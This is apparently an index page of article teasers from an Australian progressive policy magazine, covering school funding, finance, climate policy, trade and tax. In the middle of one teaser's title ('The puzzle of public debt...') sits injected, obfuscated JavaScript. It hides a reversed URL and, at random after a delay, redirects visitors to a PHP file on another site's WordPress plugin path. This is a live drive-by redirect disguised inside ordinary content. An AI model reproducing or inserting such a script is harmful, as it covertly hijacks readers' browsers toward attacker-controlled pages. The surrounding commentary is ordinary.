Locked Building a good society

Australia can be a good society but it must be actively and consciously built. Free markets left to their own devices will not bring this and conventional neo-liberal economics will not produce a good life for the majority of Australians. Instead, I believe we need a new social contract built on a stable, prosperous, broad-based economy. Its central tenets will be full employment, decent living wages and a comprehensive social safety net....

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Locked Taming the financial sector

In a few years after the Second World War finance became the world’s fastest growing economic sector. The finance sector became even more dominant as globalisation developed during the 1970s. This paralleled the rise of neo-liberalism and then its political dominance after Margaret Thatcher’s election in 1979 and Ronald Reagan’s in 1980. Under Thatcher there was a deliberate attempt to establish London as the world’s financial centre...

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Locked We need to act … and act now

The long delay in the Federal Government’s response to the Gonski Review has been a cause of great concern. Background to the Gonski Review of Schools Funding in Australia The Review, the most comprehensive review of schools funding in almost forty years, was commissioned in April 2010 by Julia Gillard, then the Federal Minister for Education. Not surprisingly, given how widely discredited the current flawed funding arrangements are, its terms...

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Recognition for Peter Norman

The late Peter Norman has finally achieved recognition for his athletic and human rights stand. A motion moved by Dr Andrew Leigh, the Member for Fraser, in the House of Representatives was passed without dissent in mid October, 2012, stating that it: (1)  recognises the extraordinary athletic achievements of the late Peter Norman, who won the silver medal in the 200 metres sprint running event at the 1968 Mexico City Olympics, in a time of...

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Locked US-Australia relations: the consequences of foisting of responsibilities onto willing regional hubs

The publication of a review of Australian intelligence organisation early this year provided an insight into contemporary United States-Australia relations. While the report focused upon major considerations for Australia, it also revealed a compliance with United States defence and security blueprints for the Asia-Pacific region. Washington and the Pentagon expect Australia to assist with their search to reassert hegemonic position. They fear...

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Locked Political beats

At the same time as ‘Australian Options’ came out with one take on ‘Australia’s Top Ten Protest Songs’, in our Winter 2012 issue, Federal Treasurer and Deputy PM Wayne Swan came out with his reverence for the songs of U.S. singer songwriter Bruce Springsteen, with Born to Run, a particular inspiration. Of course, the debate did not last long in the political news cycle, but the former members of the now defunct group Redgum, got to...

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The puzzle of public debt and private capital fueling global disorder

The puzzle of public debt $cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and private capital fueling global disorder

The overall situation is aptly summarised by financial commentator Satyajit Das who says, "The value of money is gradually being destroyed, savings are being expropriated to pay for the excesses of the boom years, as banks and borrowers, including governments, are being subsidised. Even the political system is being undermined as governments are replaced with unelected technocratic governments being appointed to avoid ‘disruptive’...

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An Estate Tax for Australia?

The recommendations of Treasury head Ken Henry’s review of the Australian tax system warrant critical scrutiny by all citizens who are concerned to have a more equitable tax system. One particularly interesting possibility for reform is buried in just a few lines in Henry’s huge report. This is an estate tax – or what Henry rather quaintly calls a “bequest tax” – a tax that would be levied on the accumulated wealth of people at the...

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Schools: Don’t mention the . . . public vs private

One of the great education buzz phrases of recent years is "seamless transition". We do a lot of seamless transiting in schools, but it is also an appropriate phrase to describe how education policy has evolved from Howard to Rudd. Once you get past the education revolution you have to work really hard to see the policy differences. Yet there are some differences. While the Howard government often talked down public education the Rudd Government...

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Is capitalism good for our health?

Why bother to pose such a question? Our health system focuses almost entirely on dealing with illness. Any effort towards disease prevention is invariably about telling people to change their behaviour. Yet, there is little evidence that telling people what to do is effective - unless the options available to them are changed. Take a look at the current health debate in Federal politics. Nearly all the airplay from politicians is about hospitals...

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Linking local and global struggles for climate justice

Is Australia inevitably locked into fossil fuel-intensive economic future just because we have huge quantities of high quality, accessible coal? In the Hunter Valley of New South Wales, the home of the world’s largest coal export port, Newcastle, coalitions of residents, farmers, scientists, trade unionists and others are calling for a future Beyond Coal as awareness grows that coal dependency puts both local and global sustainability in...

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What US business wants from the Trans Pacific Partnership Agreement

The Australian Government has started negotiations for a Trans Pacific Partnership Agreement (TPPA) with the US, Chile, Peru, Brunei, Singapore New Zealand and Vietnam to develop a multilateral agreement based on the bilateral agreements the US has with four of these countries. This will resurrect all of the issues that were debated in the US-Australia Free Trade Agreement (AUSFTA). The Howard Government negotiated the AUSFTA in 2003- 4. The US...

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Copenhagen in context ? and where next

The climate change negotiations held in Copenhagen in December 2009 has surpassed all previous interest and hype about this most pressing issue that humanity will face in the 21st century. This is because so much was at stake – it was the UN meeting where world leaders had to agree on the framework for a new structure to reduce global greenhouse emissions and avoid dangerous climate change. USA finally has a president who understands the...

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The case for population reform

Australia to 2050: future challenges, projected that Australia’s population will reach 35.9 million by 2050. While the report recognises the pressure this will place on infrastructure, services and the environment, it also speaks of the “benefits” this growth will provide in managing the pressures of an ageing population by providing the skills and innovation needed to underpin continued economic growth. It is my view, however, that this...

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The National Human Rights Consultation Committee Report

What did it say, and where to from here? Anyone who argues that there is something incontrovertible, inherent or natural about human rights faces some difficulty in Australia. Such rights are like the shifting sands of a desert. Unless they are pinned down, they are apt to change as the winds change. That’s why I am very much in favour of a Bill or Charter of Rights for Australia(1) and thus delighted with the outcome and recommendations of...

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A super idea for clean and sustainable energy

The main focus to catastrophic risks from climate change must be the urgent development of clean, sustainable energy and superannuation funds are an obvious source of investment capital – people’s money for people’s interests. Despite any scepticism about global warming there is widespread agreement that the planet needs to be given the benefit of the doubt and that human activity must become sustainable. This demands a public interest...

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Cities on the edge

The End of the Good Times? A prolonged period of Australian prosperity ended with the advent of the global financial crisis in 2008. Since then Australia has fared comparatively well amongst countries but has still registered significant rises in unemployment and underemployment. The continuing pain of the downturn is unlikely to be evenly distributed across the population or across our communities. But surely the legacy of the miracle boom is...

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Aircraft cabin fumes: The poisoning and disablement of those who fly

Aircraft cabin fumes caused by oil leaking from engines and entering the cabin environment have been poisoning air travellers for decades. The resulting fumes also compromise the safe operation of the aircraft. The airline industry, regulators and governments have consistently denied this serious occupational health and safety problem. In October 2000, the most detailed inquiry into aircraft cabin fumes onboard BAe 146 aircraft was published....

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National Water Market – Privatisation of the Murray Darling

For too long the problem with the Murray Darling Basin (MDB) has not been drought or climate change but as the people who are beginning to rally in large numbers over recent weeks in South Australian are being correctly told the crisis is man made; the MDB is being mismanaged and water has been over allocated by governments. (The Australian 3/9/08) National Water Commission chairman Ken Matthews said this week there were no national guidelines...

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Public transport policy in Australia: Time for a re-think

Melbourne’s second university is celebrating its 50th anniversary. Since the passage of its enabling legislation in 1958, Monash University has educated over 200,000 students at its campus in suburban Clayton, granting degrees in disciplines ranging from medicine to literature. But regardless of their academic discipline, most Monash students over the half-century have been educated in one unofficial common subject. This subject could be...

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Rudd’s white flag on climate change

With Barack Obama's arrival in the White House giving hope for a global shift in attitude and action on climate change, Prime Minister Rudd may be about to be left floundering in the rising tide of history. The useless emissions reduction target and self-defeating design of Labor's emissions trading scheme tell only half the story. The government pre-empted the announcement by throwing half a billion dollars at expanding coal infrastructure in...

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Electricity generation, climate change and privatisation

Around half of Australia’s emissions of greenhouse gases come from stationary energy sources. About 70 percent of these are from electricity generation, making it the largest contributor to greenhouse emissions by far, contributing some 200 Mt out of Australia’s total 576 Mt in 2006.[1] In 2006 stationary energy sources generated 40 percent more emissions than in 1990.[2]This massive increase has been aided by electricity privatisation and...

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The global economic crisis and the failure of “free” trade

Although extreme free market neo-liberal policies have been discredited by the economic crisis, governments and bodies like the G20 are still pushing free trade agreements as part of the solution to the crisis. But the current rules of the global trading system promote the same kinds of financial and other forms of deregulation that caused the crisis. The current global trading system is dominated by trans-national corporations which are...

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The global economic crisis and the failure of “free” trade

Although extreme free market neo-liberal policies have been discredited by the economic crisis, governments and bodies like the G20 are still pushing free trade agreements as part of the solution to the crisis. But the current rules of the global trading system promote the same kinds of financial and other forms of deregulation that caused the crisis. The current global trading system is dominated by trans-national corporations which are...

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Social leadership – a people friendly ideology

Garry Weaven, the Chair of Industry Funds Management recently addressed the “Crunch Time” conference of progressive think-tanks dealing with Australia’s policy future. This is an edited version of Garry’s address with his permission. In the course of my career I have usually been engaged in writing and speaking on specific issues. However, this forum and this topic give us the opportunity to re-think or re-state our core beliefs about...

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The struggle for Australia

Australia was created at the height of European domination of the world as Britain developed the greatest global empire ever seen. Throughout its progression from penal colony to useful supplier of highly profitable resources, Australia has been locked into the orbit of a global power – first Britain and later the United States. Both world powers have dominated the Australian economy, through ownership of minerals and energy resources,...

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Gender equality as Australia’s preferred nation-building economic stimulus strategy

Anne Bunning and Jo De Silva make the case for a serious gender equality strategy as a more efficient means to achieve the government objective of economic and social wellbeing for Australian families compared with the government’s current strategy of creating jobs for men. In October 2008, the Rudd Government responded to the global financial crisis with a $10.4 billion “Economic Security Strategy”. By February 2009, in the face of a...

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Risking a new era of pollution protectionism

It's in Australia's national interest that the world acts early and decisively to avoid dangerous climate change. Scientists, Professor Ross Garnaut and the Federal Government agree with this. Does the white paper deliver? The white paper's centrepiece – a target to cut emissions by just 5–15 per cent by 2020 against year 2000 levels – is far too weak to deal with the problem and will not position Australia to be a leader in this year's...

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Combating global warming is a shared task

Tackling climate change will have one of the biggest structural impacts on our economy . . . and our environment since World War II. As with the financial crisis, no one sector will be able to de-couple their own self-interest from the effects of global warming. Decisive action to reduce carbon pollution, however, is not incompatible with economic and jobs growth. In fact, how we respond to the challenge of global warming will determine our...

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Financial crisis, recession and remedies

October 2008 will go down in history as heralding the onset of the most severe economic crisis since the Great Depression began in 1929. The crash in share market values sent shock waves though the global economy and an economic recession now seems inevitable. How deep and how long remain open questions, the answers to which are not independent of our strategic responses. Understanding what has happened and what needs to be done is...

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